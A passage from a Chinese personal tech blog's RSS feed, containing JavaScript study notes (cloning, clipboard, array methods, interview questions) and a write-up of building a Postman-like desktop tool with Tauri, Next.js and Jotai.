<h3 id="structuredclone"><code>structuredClone()</code></h3>
<ul>
<li>creates a deep clone of a given value using the structured clone algorithm.</li>
<li>能保留循环引用</li>
<li>clone不了的
<ol>
<li>函数不能被克隆</li>
<li>DOM 节点不能克隆</li>
<li>属性描述符 setter和getter 不能克隆</li>
</ol>
</li>
<li>参考
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/structuredClone"  target="_blank" rel="noopener" >Window: structuredClone() method - Web APIs | MDN</a></li>
<li><a href="https://blogweb.cn/article/2213672068912#heading-3"  target="_blank" rel="noopener" >你还在用传统方法进行深浅拷贝？教你一种更现代的方法！-网络日志</a></li>
</ul>
</li>
</ul>
<h3 id="参考-5">参考</h3>
<ul>
<li><a href="https://vue3js.cn/interview/JavaScript/copy.html"  target="_blank" rel="noopener" >面试官：深拷贝浅拷贝的区别？如何实现一个深拷贝？ | web前端面试 - 面试官系列</a></li>
</ul>
<hr>
<h2 id="复制">复制</h2>
<ul>
<li>
<p>参考 <a href="https://juejin.cn/post/6844903567480848391"  target="_blank" rel="noopener" >JavaScript复制内容到剪贴板 - 掘金</a></p>
</li>
<li>
<p>补充：</p>
<ol>
<li>上文主要是使用<code>document.execCommand('copy')</code>这个方法。但<a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/execCommand"  target="_blank" rel="noopener" >Document: execCommand() method - Web APIs | MDN</a>显示&quot;This feature is no longer recommended.&quot;。</li>
<li>那该怎么改呢？看<a href="https://stackoverflow.com/questions/60581285/execcommand-is-now-obsolete-whats-the-alternative"  target="_blank" rel="noopener" >execCommand() is now obsolete, what&rsquo;s the alternative? - Stack Overflow</a>的高票回答:</li>
</ol>
<blockquote>
<p>The execCommand() is officially obsolete/deprecated but there&rsquo;s no alternative.
Note that real world user agents (browsers such as Chrome, Firefox and Safari) cannot drop support for execCommand() because so many services require support for it.</p>
</blockquote>
<p>过几年再看看？</p>
</li>
</ul>
<hr>
<h2 id="读取剪贴板">读取剪贴板</h2>
<p>wip</p>
<hr>
<h2 id="javascript编程中常见的代码坏味道">JavaScript编程中常见的代码坏味道</h2>
<p>wip</p>
<h3 id="pyramid-of-doom厄运金字塔">Pyramid of doom（厄运金字塔）</h3>
<ul>
<li><a href="https://en.wikipedia.org/wiki/Pyramid_of_doom_%28programming%29"  target="_blank" rel="noopener" >厄运金字塔（编程）- 维基百科 &mdash; Pyramid of doom (programming) - Wikipedia</a></li>
</ul>
<hr>
<h2 id="proxy">Proxy</h2>
<p>wip</p>
<h3 id="参考-6">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Proxy"  target="_blank" rel="noopener" >Proxy - JavaScript | MDN</a></li>
<li><a href="https://segmentfault.com/a/1190000043453516"  target="_blank" rel="noopener" >javascript - Proxy详解 - 个人文章 - SegmentFault 思否</a></li>
</ul>
<hr>
<h2 id="reflect">Reflect</h2>
<p>wip</p>
<h3 id="参考-7">参考</h3>
<ul>
<li><a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Reflect"  target="_blank" rel="noopener" >Reflect - JavaScript | MDN</a></li>
</ul>
<h2 id="问题">问题</h2>
<ol>
<li>
<p>js到dom树的单向绑定</p>
</li>
<li>
<p><a href="https://blog.csdn.net/SpringRolls/article/details/116506148"  target="_blank" rel="noopener" >牛客网ACM模式下JavaScript(V8)常见输入输出练习_readline(&hellip;).split is not a function-CSDN博客</a></p>
</li>
<li>
<p><a href="https://juejin.cn/post/6979812535557963784"  target="_blank" rel="noopener" >JavaScript实现封装、继承、多态JavaScript实现封装、继承、多态 - 掘金</a></p>
</li>
<li>
<p><code>parseInt</code></p>
<ul>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/parseInt"  target="_blank" rel="noopener" >parseInt() - JavaScript | MDN</a></li>
<li>示例代码
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">res</span> <span class="o">=</span> <span class="p">[</span><span class="s1">&#39;1&#39;</span><span class="p">,</span> <span class="s1">&#39;2&#39;</span><span class="p">,</span> <span class="s1">&#39;100&#39;</span><span class="p">].</span><span class="nx">map</span><span class="p">(</span><span class="nb">parseInt</span><span class="p">);</span>
</span></span><span class="line"><span class="cl"><span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">res</span><span class="p">);</span> <span class="c1">// [1, NaN, 4]
</span></span></span></code></pre></div></li>
<li>解释
<ul>
<li>实际上 map 会传递三个参数给 parseInt，而 parseInt 只关心前两个参数：要解析的字符串和进制</li>
<li>因此解析过程如下:
<ol>
<li>对第一个元素 &lsquo;1&rsquo;，parseInt(&lsquo;1&rsquo;, 0)，0 表示根据输入自动检测进制，结果是 1。</li>
<li>对第二个元素 &lsquo;2&rsquo;，parseInt(&lsquo;2&rsquo;, 1)，1 不是有效的进制，因此结果是 NaN。</li>
<li>对第三个元素 &lsquo;100&rsquo;，parseInt(&lsquo;100&rsquo;, 2)，以二进制解析 &lsquo;100&rsquo;，结果是 4。</li>
</ol>
</li>
</ul>
</li>
</ul>
</li>
<li>
<p>箭头函数与普通函数的区别</p>
<ul>
<li>函数体内的 this 对象，就是定义时所在的作用域中的 this 值，而不是使用时所在的对象</li>
<li>不可以使用 arguments 对象，该对象在函数体内不存在。如果要用，可以用 rest 参数代替</li>
<li>不可以使用 yield 命令，因此箭头函数不能用作 Generator 函数</li>
<li>不可以使用 new 命令
<ul>
<li>没有自己的 this，无法调用 call，apply</li>
<li>没有 prototype 属性</li>
</ul>
</li>
<li>参考: <a href="https://github.com/Advanced-Frontend/Daily-Interview-Question/issues/101"  target="_blank" rel="noopener" >第 58 题：箭头函数与普通函数（function）的区别是什么？构造函数（function）可以使用 new 生成实例，那么箭头函数可以吗？为什么？ · Issue #101 · Advanced-Frontend/Daily-Interview-Question</a></li>
</ul>
</li>
<li>
<p>为什么会出现箭头函数</p>
<ul>
<li>消除函数的二义性
<ul>
<li>在出现箭头函数之前，函数可以直接被调用，也可以被new当作构造函数使用，这就是函数的二义性。</li>
<li>为了消除这种二义性，创造了箭头函数和class，箭头函数只能() =&gt; {}，当作普通函数调用，而class只能被new，这就刚好对应二义性的两种用法，解决这种复杂情况了</li>
</ul>
</li>
<li>解决了this的复杂指向问题</li>
</ul>
</li>
<li>
<p>ES6新特性</p>
<ul>
<li>引入了let和const</li>
<li>模板字符串: <code>${}</code></li>
<li>箭头函数</li>
<li>函数参数默认值，Rest参数</li>
<li>解构赋值</li>
<li>Promise</li>
<li>新增Map,Set,WeakMap,WeakSet</li>
<li>迭代器和生成器
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kd">let</span> <span class="nx">arr</span> <span class="o">=</span><span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span><span class="p">(</span><span class="kd">let</span> <span class="nx">item</span> <span class="k">of</span> <span class="nx">arr</span><span class="p">){</span>
</span></span><span class="line"><span class="cl"> <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">item</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="p">}</span>
</span></span></code></pre></div></li>
<li>对象和类</li>
</ul>
</li>
<li>
<p>手撕</p>
<ul>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/7210979444760772664"  target="_blank" rel="noopener" >面试中的手撕代码（一）总结了一些面面试中常见的手写代码题，如有更好见解欢迎评论指正~ - 掘金</a></li>
<li><a href="https://github.com/Sunny-117/js-challenges?tab=readme-ov-file"  target="_blank" rel="noopener" >Sunny-117/js-challenges: ✨✨✨ Challenge your JavaScript programming limits step by step</a></li>
<li><a href="https://github.com/Sunny-117/js-challenges/issues/37"  target="_blank" rel="noopener" >JSON2DOM = react的render函数 · Issue #37 · Sunny-117/js-challenges</a></li>
</ul>
</li>
</ul>
</li>
<li>
<p>实现继承</p>
</li>
</ol>
<ul>
<li>参考
<ul>
<li><a href="https://juejin.cn/post/7019185008527015949"  target="_blank" rel="noopener" >js中的6种继承方式 - 掘金</a></li>
</ul>
</li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>Postkid</title>
      <link>https://ds63.eu.org/2024/postkid/</link>
      <pubDate>Wed, 28 Feb 2024 14:53:46 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/postkid/</guid>
      <description>记录EuDs63/postkid的实现过程</description>
      <content:encoded><![CDATA[<h2 id="需求由来">需求由来</h2>
<p>Postman虽然功能齐全，但有些功能我用不上，再加上其强制要求登录，于是我很想自己开发一个类似的工具，仅实现我需要的功能。</p>
<h2 id="踩坑">踩坑</h2>
<h3 id="响应显示乱码">响应显示乱码</h3>
<p>当我加上header后，请求中文网站就开始出现诸如<code>zz��}��$�u߿�\������U}</code>的乱码。逐个排查后发现是<code>Accept-Encoding</code>的原因。我开始的时候是照着Postman的设置来写，写成了<code> { key: 'Accept-Encoding', value: 'gzip, deflate, br', include: true }</code>，但实际上<del>只有<code>deflate</code>是支持的</del>似乎也不尽然。我最终的解决办法是干脆不设置。</p>
<h3 id="代码编辑框">代码编辑框</h3>
<p>Body的raw选项，我需要使其代码高亮。开始我直接引入了<a href="https://github.com/PrismJS/prism/"  target="_blank" rel="noopener" >PrismJS/prism</a>，并在其上进行修改。bug不断，折腾了蛮久。</p>
<p>后来才想到我需要的不只是语法高亮，确切地说应该是代码编辑框，这方面应该有现成的库才对。一番寻找，发现<a href="https://github.com/react-simple-code-editor/react-simple-code-editor"  target="_blank" rel="noopener" >react-simple-code-editor/react-simple-code-editor</a>符合我的需求。很快就解决了。</p>
<h3 id="标签页多开">标签页多开</h3>
<p>我先做好了<code>./work/page</code>这个组件。接下来我希望实现类似于Postman的多标签页，每个标签页都是用同样的组件，但它们互相独立。</p>
<p>本来这并不是件难事，但因为我之前偷懒，高度依赖jotai的atom来做状态管理,因此花了好些时间。</p>
<p>先尝试了<a href="https://github.com/jotaijs/jotai-scope"  target="_blank" rel="noopener" >jotaijs/jotai-scope</a>,它给的示例确实符合我的需求，但当标签切走再切回去的时候，原来的状态就被重置了，我找不到问题所在，放弃。</p>
<p>中途多次问ChatGPT和Gemini，都是一开始看着很可行，然后实际不行，再问就开始重复之前的回答了。</p>
<p>最后是靠<a href="https://devv.ai/zh"  target="_blank" rel="noopener" >Devv</a>解决的，它说<a href="https://jotai.org/docs/utilities/family"  target="_blank" rel="noopener" >Jotai的atomFamily</a>能解决。<code>atomFamily</code>允许创建一组相关的原子，并为每个实例提供一个唯一的标识符。一试,确实可行。</p>
<p>现在再看我的实现，感觉还是比较简陋的。每个标签页对应一个特定的<code>tagId</code>，然后<code>atomFamily</code>就是&quot;a Map whose key is a param and whose value is an atom config&quot;。</p>
<h3 id="cargo-tauri-build">cargo tauri build</h3>
<p><strong>没想到整个过程会这么折磨，一个问题解决后，新的问题又出现了。</strong></p>
<h3 id="failed-to-fetch-inter-from-google-fonts">Failed to fetch Inter from Google Fonts.</h3>
<p>参考<a href="https://github.com/vercel/next.js/issues/45080#issuecomment-1680665108"  target="_blank" rel="noopener" >Error &lsquo;Failed to fetch <code>Noto Sans JP</code> from Google Fonts.&rsquo; · Issue #45080 · vercel/next.js</a></p>
<h3 id="type-number-is-not-assignable-to-type-never">Type &rsquo;number&rsquo; is not assignable to type &rsquo;never&rsquo;.</h3>
<p>排查无果，我选择修改<code>next.config.mjs</code>，<code>dangerously produce production code even when your application has errors</code>。</p>
<p>参考<a href="https://nextjs.org/docs/app/api-reference/next-config-js/typescript"  target="_blank" rel="noopener" >next.config.js Options: typescript | Next.js</a></p>
<h3 id="referenceerror-navigator-is-not-defined">ReferenceError: navigator is not defined</h3>
<p>这个报错刚开始让我觉得莫名奇妙，因为我记得自己没用到navigator。搜索后发现是我引入的<code>prism.js</code>使用到了。</p>
<p>而报这个错的原因又与tauri有关:Tauri不支持Next.js的ssr模式。</p>
<blockquote>
<p>Next.js is a React Framework that comes with both Server-Side Rendering (SSR) and Static-Site Generation (SSG) capabilities. To make Next.js work with Tauri we are going to use the SSG mode since it generates only static files that can be included in the final binary.</p>
</blockquote>
<p>我最终的解决方法是参考<a href="https://www.nextjs.cn/docs/advanced-features/dynamic-import"  target="_blank" rel="noopener" >高级特性: 动态导入（Import） | Next.js | Next.js中文网</a>，将使用到prism的组件动态引入。</p>
<h3 id="wixtools安装失败">WixTools安装失败</h3>
<blockquote>
<p>Connection Failed: Connect error: 由于连接方在一段时间后没有正确答复或连接 的主机没有反应，连接尝试失败。 (os error 10060)</p>
</blockquote>
<p>参考<a href="https://github.com/tauri-apps/tauri/issues/7338#issuecomment-1923680714"  target="_blank" rel="noopener" >[如何解决安装失败] · Issue #7338 · tauri-apps/tauri</a>。</p>
<h2 id="参考">参考</h2>
<ul>
<li><a href="https://doc.rust-lang.org/std/sync/struct.OnceLock.html"  target="_blank" rel="noopener" >OnceLock in std::sync - Rust</a></li>
<li><a href="https://nextjs.org/docs"  target="_blank" rel="noopener" >Next.js Documentation</a> - learn about Next.js features and API.</li>
<li><a href="https://nextjs.org/learn"  target="_blank" rel="noopener" >Learn Next.js</a> - an interactive Next.js tutorial.</li>
<li><a href="https://cloud.tencent.com/developer/article/2364764?areaId=106001"  target="_blank" rel="noopener" >【Rust 日报】2023-11-26 Rust全局变量，两年过去了-腾讯云开发者社区-腾讯云</a></li>
<li><a href="https://github.com/PrismJS/prism/"  target="_blank" rel="noopener" >PrismJS/prism: Lightweight, robust, elegant syntax highlighting.</a></li>
<li><a href="https://github.com/react-simple-code-editor/react-simple-code-editor"  target="_blank" rel="noopener" >react-simple-code-editor/react-simple-code-editor: Simple no-frills code editor with syntax highlighting</a></li>
<li><a href="https://juejin.cn/post/6941683774153293837"  target="_blank" rel="noopener" >React 中后台系统多页签实现 ｜ 项目复盘 - 掘金</a></li>
<li><a href="https://jotai.org/docs/utilities/family"  target="_blank" rel="noopener" >Family — Jotai, primitive and flexible state management for React</a></li>
<li><a href="https://github.com/tauri-apps/tauri/issues/7338#issuecomment-1923680714"  target="_blank" rel="noopener" >[如何解决安装失败] · Issue #7338 · tauri-apps/tauri</a></li>
<li><a href="https://www.nextjs.cn/docs/advanced-features/dynamic-import"  target="_blank" rel="noopener" >高级特性: 动态导入（Import） | Next.js | Next.js中文网</a></li>
</ul>
]]></content:encoded>
    </item>
    
    <item>
      <title>JavaScript知识点整理之Array</title>
      <link>https://ds63.eu.org/2024/javascript_points_of_array/</link>
      <pubDate>Sun, 25 Feb 2024 15:34:14 +0800</pubDate>
      
      <guid>https://ds63.eu.org/2024/javascript_points_of_array/</guid>
      <description>自己学习过程中整理的关于JavaScript中Array的知识点</description>
      <content:encoded><![CDATA[<h2 id="初始化">初始化</h2>
<h3 id="new">new</h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="c1">// 新建一个n行n列的二维数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span> <span class="kr">const</span> <span class="nx">dp</span> <span class="o">=</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="nx">n</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mi">0</span><span class="p">).</span><span class="nx">map</span><span class="p">(()</span> <span class="p">=&gt;</span> <span class="k">new</span> <span class="nb">Array</span><span class="p">(</span><span class="nx">n</span><span class="p">).</span><span class="nx">fill</span><span class="p">(</span><span class="mi">0</span><span class="p">));</span>
</span></span></code></pre></div><h3 id="arrayfrom">Array.from</h3>
<ul>
<li>示例:</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">data</span> <span class="o">=</span> <span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">({</span> <span class="nx">length</span><span class="o">:</span> <span class="mi">100</span> <span class="o">*</span> <span class="mi">1024</span> <span class="p">},</span> <span class="p">()</span> <span class="p">=&gt;</span> <span class="nb">Math</span><span class="p">.</span><span class="nx">floor</span><span class="p">(</span><span class="nb">Math</span><span class="p">.</span><span class="nx">random</span><span class="p">()</span> <span class="o">*</span> <span class="mi">256</span><span class="p">))</span>
</span></span></code></pre></div><ul>
<li>格式</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-javascript" data-lang="javascript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="nx">arrayLike</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="nx">arrayLike</span><span class="p">,</span> <span class="nx">mapFn</span><span class="p">)</span>
</span></span><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">from</span><span class="p">(</span><span class="nx">arrayLike</span><span class="p">,</span> <span class="nx">mapFn</span><span class="p">,</span> <span class="nx">thisArg</span><span class="p">)</span>
</span></span></code></pre></div><h3 id="参考">参考</h3>
<ul>
<li><a href="https://i.hsfzxjy.site/fast-conversion-from-base64-binary-to-uint8-array/"  target="_blank" rel="noopener" >将 Base64 编码的数据快速转换为 Uint8Array</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/from"  target="_blank" rel="noopener" >Array.from() - JavaScript | MDN</a></li>
</ul>
<hr>
<h2 id="遍历数组">遍历数组</h2>
<h3 id="foreach"><code>forEach</code></h3>
<ul>
<li><code>Array.prototype.forEach(function(value, index, arr), thisValue)</code></li>
<li>对数组的每个元素执行一次给定的函数。</li>
<li>forEach() 期望的是一个同步函数，它不会等待 Promise 兑现</li>
<li>除了<strong>抛出异常</strong>之外，没有其他方法可以停止或中断 forEach() 循环,也就是说不能在 forEach 中使用 break、continue 或 return</li>
<li>callbackFn 仅对已赋值的数组索引调用。对于稀疏数组中的空槽，它不会被调用。</li>
<li>forEach() 不会改变其调用的数组，但是，作为 callbackFn 的函数可以更改数组。请注意，在第一次调用 callbackFn 之前，<strong>数组的长度已经被保存</strong>。因此：
<ol>
<li>当调用 forEach() 时，callbackFn 不会访问超出数组初始长度的任何元素。</li>
<li>已经访问过的索引的更改不会导致 callbackFn 再次调用它们。</li>
<li>如果 callbackFn 更改了数组中已经存在但尚未访问的元素，则传递给 callbackFn 的值将是在访问该元素时的值。已经被删除的元素不会被访问。</li>
</ol>
</li>
</ul>
<h3 id="every"><code>every</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">a</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">every</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">value</span> <span class="o">&gt;</span> <span class="o">-</span><span class="mi">1</span><span class="p">)</span><span class="c1">//判断数组元素是否都大于-1
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">a</span><span class="p">);</span><span class="c1">//true
</span></span></span></code></pre></div><h3 id="some"><code>some()</code></h3>
<p>wip</p>
<h3 id="filter"><code>filter()</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newArr</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">filter</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">value</span> <span class="o">&gt;</span> <span class="mi">3</span><span class="p">)</span> <span class="c1">//判断数组元素是否大于3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">newArr</span><span class="p">);</span> <span class="c1">//[ 4, 5, 6, 7 ]
</span></span></span></code></pre></div><h3 id="map"><code>map()</code></h3>
<ul>
<li>不改变原数组
<ul>
<li>指的是不改变数组内部元素的个数和顺序，而不是元素本身的属性</li>
</ul>
</li>
</ul>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">0</span><span class="p">,</span> <span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">,</span> <span class="mi">4</span><span class="p">,</span> <span class="mi">5</span><span class="p">,</span> <span class="mi">6</span><span class="p">,</span> <span class="mi">7</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">  <span class="kd">let</span> <span class="nx">newArr</span> <span class="o">=</span> <span class="nx">arr</span><span class="p">.</span><span class="nx">map</span><span class="p">((</span><span class="nx">value</span><span class="p">)</span> <span class="p">=&gt;</span> <span class="nx">value</span> <span class="o">*</span> <span class="mi">2</span><span class="p">)</span> <span class="c1">//将数组中每一个元素都乘以2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span>  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">newArr</span><span class="p">);</span> <span class="c1">//[0,  2,  4,  6, 8, 10, 12, 14]
</span></span></span></code></pre></div><h3 id="reduce"><code>reduce()</code></h3>
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">array</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span><span class="mi">2</span><span class="p">,</span><span class="mi">3</span><span class="p">,</span><span class="mi">4</span><span class="p">,</span><span class="mi">5</span><span class="p">]</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="kr">const</span> <span class="nx">sumWithInitial</span> <span class="o">=</span> <span class="nx">array</span><span class="p">.</span><span class="nx">reduce</span><span class="p">(</span>
</span></span><span class="line"><span class="cl">    <span class="p">(</span><span class="nx">previousValue</span><span class="p">,</span><span class="nx">currentValue</span><span class="p">,</span><span class="nx">currentIndex</span><span class="p">)</span> <span class="p">=&gt;</span> 
</span></span><span class="line"><span class="cl">        <span class="nx">previousValue</span><span class="o">*</span><span class="mi">2</span> <span class="o">+</span> <span class="nx">currentValue</span> <span class="o">-</span> <span class="nx">currentIndex</span><span class="p">,</span><span class="mi">1</span><span class="p">);</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">sumWithInitial</span><span class="p">)</span> <span class="c1">// 63
</span></span></span></code></pre></div><h3 id="forin-和-forof"><code>for...in</code> 和 <code>for...of</code></h3>
<ul>
<li>对于数组: <code>for in</code>遍历的是index，<code>for of</code>遍历的是&quot;value&quot;
<ul>
<li>示例
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="mi">3</span><span class="p">];</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// for...in循环遍历数组的索引
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">index</span><span class="p">);</span> <span class="c1">// 输出 0, 1, 2
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span><span class="line"><span class="cl">
</span></span><span class="line"><span class="cl"><span class="c1">// for...of循环遍历数组的值
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">value</span> <span class="k">of</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">value</span><span class="p">);</span> <span class="c1">// 输出 1, 2, 3
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
</ul>
</li>
<li>for..in的缺陷
<ol>
<li>会迭代继承的属性,可以使用<code>obj.hasOwnProperty(key)</code>进一步判断
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="nb">Array</span><span class="p">.</span><span class="nx">prototype</span><span class="p">.</span><span class="nx">customMethod</span> <span class="o">=</span> <span class="kd">function</span><span class="p">()</span> <span class="p">{};</span>
</span></span><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">index</span><span class="p">);</span>  <span class="c1">// 输出 0, 1, 2 , customMethod
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
<li>遍历的是字符串类型的索引
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="mi">20</span><span class="p">,</span> <span class="mi">30</span><span class="p">];</span>
</span></span><span class="line"><span class="cl"><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="k">typeof</span> <span class="nx">index</span><span class="p">);</span>  <span class="c1">// 输出 &#34;string&#34;
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
<li>不适合遍历稀疏数组
<div class="highlight"><pre tabindex="0" class="chroma"><code class="language-JavaScript" data-lang="JavaScript"><span class="line"><span class="cl"><span class="kr">const</span> <span class="nx">arr</span> <span class="o">=</span> <span class="p">[</span><span class="mi">10</span><span class="p">,</span> <span class="p">,</span> <span class="mi">30</span><span class="p">];</span>  <span class="c1">// 稀疏数组
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="k">for</span> <span class="p">(</span><span class="kd">let</span> <span class="nx">index</span> <span class="k">in</span> <span class="nx">arr</span><span class="p">)</span> <span class="p">{</span>
</span></span><span class="line"><span class="cl">  <span class="nx">console</span><span class="p">.</span><span class="nx">log</span><span class="p">(</span><span class="nx">index</span><span class="p">);</span>  <span class="c1">// 输出 0, 2 （不会跳过稀疏部分）
</span></span></span><span class="line"><span class="cl"><span class="c1"></span><span class="p">}</span>
</span></span></code></pre></div></li>
</ol>
</li>
</ul>
<h3 id="参考-1">参考</h3>
<ul>
<li><a href="https://juejin.cn/post/6854573211699380237"  target="_blank" rel="noopener" >js遍历数组的10种方法 - 掘金</a></li>
<li><a href="https://segmentfault.com/a/1190000022348279"  target="_blank" rel="noopener" >javascript - for…in和for…of的用法与区别 - 前端开发随笔 - SegmentFault 思否</a></li>
<li><a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Array/reduce"  target="_blank" rel="noopener" >Array.prototype.reduce() - JavaScript | MDN</a></li>
<li><a href="http://www.webkaka.com/tutorial/js/2023/0607221/"  target="_blank" rel="noopener" >为什么不能在forEach中使用break、continue或return？ - js技术_卡卡网</a></li>
</ul>
<hr>
<h2 id="实现foreach-map-filter">实现forEach, map, filter</h2>
<ul>
<li>forEach</li>
<li>wip: <a href="https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/Array/forEach#callbackfn"  target="_blank" rel="noopener" >Array.prototype.forEach() - JavaScript | MDN</a></li>
</ul>
